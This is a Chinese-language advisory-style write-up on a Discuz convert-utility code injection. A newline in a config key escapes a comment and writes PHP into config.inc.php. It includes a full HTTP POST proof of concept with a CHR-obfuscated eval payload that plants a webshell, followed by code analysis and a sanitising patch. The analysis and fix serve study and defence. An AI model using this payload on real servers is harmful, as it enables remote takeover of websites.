目录
1. 漏洞描述 2. 漏洞触发条件 3. 漏洞影响范围 4. 漏洞代码分析 5. 防御方法 6. 攻防思考
1. 漏洞描述
对于PHP应用来说,处于用户的输入并正确划定"数据-代码"边界是十分重要的,黑客常用的攻击思路是在输入数据中注入"定界符(格式视具体场景而定)",从而将输入的数据转换为可被目标系统执行的代码,以此达到代码注入执行的目的。
这个的漏洞的根源在代码注释(输入数据)中出现换行(定界符),导致代码注入执行
Relevant Link:
http://p2j.cn/?p=357 http://loudong.360.cn/blog/view/id/15 http://www.2cto.com/Article/201402/278766.html http://drops.wooyun.org/papers/929
2. 漏洞触发条件
1. /convert/include/global.func.php未对用户的输入数据进行有效过滤(非数字、字母、下划线不能存在) 2. /convert/data/config.inc.php目录可写
0x1: 手工利用方式
http://localhost/discuz/utility/convert/index.php
http://localhost/discuz/utility/convert/index.php?a=config&source=d7.2_x2.0
在开始设置里面可以设置数据的属性,而post的数据直接写到了config.inc.php这个文件里面
0x2: POC自动化测试方式
POST /DZ2/convert/ HTTP/1.1 Host: 192.168.52.129 Proxy-Connection: keep-alive Content-Length: 925 Cache-Control: max-age=0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Origin: null User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip,deflate,sdch Accept-Language: zh-CN,zh;q=0.8 a=config&source=d7.2_x2.0&submit=yes&newconfig%5Btarget%5D%5Bdbhost%5D=localhost&newconfig%5Baaa%0D%0A%0D%0Aeval%28CHR%28101%29.CHR%28118%29.CHR%2897%29.CHR%28108%29.CHR%2840%29.CHR%2834%29.CHR%2836%29.CHR%2895%29.CHR%2880%29.CHR%2879%29.CHR%2883%29.CHR%2884%29.CHR%2891%29.CHR%2899%29.CHR%2893%29.CHR%2859%29.CHR%2834%29.CHR%2841%29.CHR%2859%29%29%3B%2F%2F%5D=localhost&newconfig%5Bsource%5D%5Bdbuser%5D=root&newconfig%5Bsource%5D%5Bdbpw%5D=&newconfig%5Bsource%5D%5Bdbname%5D=discuz&newconfig%5Bsource%5D%5Btablepre%5D=cdb_&newconfig%5Bsource%5D%5Bdbcharset%5D=&newconfig%5Bsource%5D%5Bpconnect%5D=1&newconfig%5Btarget%5D%5Bdbhost%5D=localhost&newconfig%5Btarget%5D%5Bdbuser%5D=root&newconfig%5Btarget%5D%5Bdbpw%5D=&newconfig%5Btarget%5D%5Bdbname%5D=discuzx&newconfig%5Btarget%5D%5Btablepre%5D=pre_&newconfig%5Btarget%5D%5Bdbcharset%5D=&newconfig%5Btarget%5D%5Bpconnect%5D=1&submit=%B1%A3%B4%E6%B7%FE%CE%F1%C6%F7%C9%E8%D6%C3
发送这段请求直接getshell,恶意代码写入/convert/data/config.inc.php文件当中
3. 漏洞影响范围
全discuz版本
4. 漏洞代码分析
\discuz\utility\convert\index.php
\discuz\utility\convert\include\do_config.inc.php
\discuz\utility\convert\include\global.func.php
跟入这个getvars()函数
function buildarray($array, $level = 0, $pre = '$_config') { static $ks; if($level == 0) { $ks = array(); $return = ''; } foreach ($array as $key => $val) { if($level == 0) { $newline = str_pad(' CONFIG '.strtoupper($key).' ', 50, '-', STR_PAD_BOTH); /* 这里是产生漏洞关键 1. DISCUZ的本意是使用$config数组的key作为每一块配置区域的"注释标题" 2. 写入配置文件的$newline依赖于$key,而$key是攻击者可控的 3. 未对输入数据进行正确的边界处理,导致攻击者在输入数据中插入换行符,逃离注释的作用范围,从而使输入数据转化为可执行代码 1) 换行符 2) ?> 这类定界符都是可以达到同样的效果的 */ $return .= "\r\n// $newline //\r\n"; } $ks[$level] = $ks[$level - 1]."['$key']"; if(is_array($val)) { $ks[$level] = $ks[$level - 1]."['$key']"; $return .= buildarray($val, $level + 1, $pre); } else { $val = !is_array($val) && (!preg_match("/^\-?[1-9]\d*$/", $val) || strlen($val) > 12) ? '\''.addcslashes($val, '\'\\').'\'' : $val; $return .= $pre.$ks[$level - 1]."['$key']"." = $val;\r\n"; } } return $return; }
5. 防御方法
\discuz\utility\convert\include\global.func.php
function buildarray($array, $level = 0, $pre = '$_config') { static $ks; if($level == 0) { $ks = array(); $return = ''; } foreach ($array as $key => $val) { //过滤掉$key中的非字母、数字及下划线字符 $key = preg_replace("/[^\w]/", "", $key); if($level == 0) { $newline = str_pad(' CONFIG '.strtoupper($key).' ', 50, '-', STR_PAD_BOTH); $return .= "\r\n// $newline //\r\n"; } $ks[$level] = $ks[$level - 1]."['$key']"; if(is_array($val)) { $ks[$level] = $ks[$level - 1]."['$key']"; $return .= buildarray($val, $level + 1, $pre); } else { $val = !is_array($val) && (!preg_match("/^\-?[1-9]\d*$/", $val) || strlen($val) > 12) ? '\''.addcslashes($val, '\'\\').'\'' : $val; $return .= $pre.$ks[$level - 1]."['$key']"." = $val;\r\n"; } } return $return; }
6. 攻防思考
Copyright (c) 2014 LittleHann All rights reserved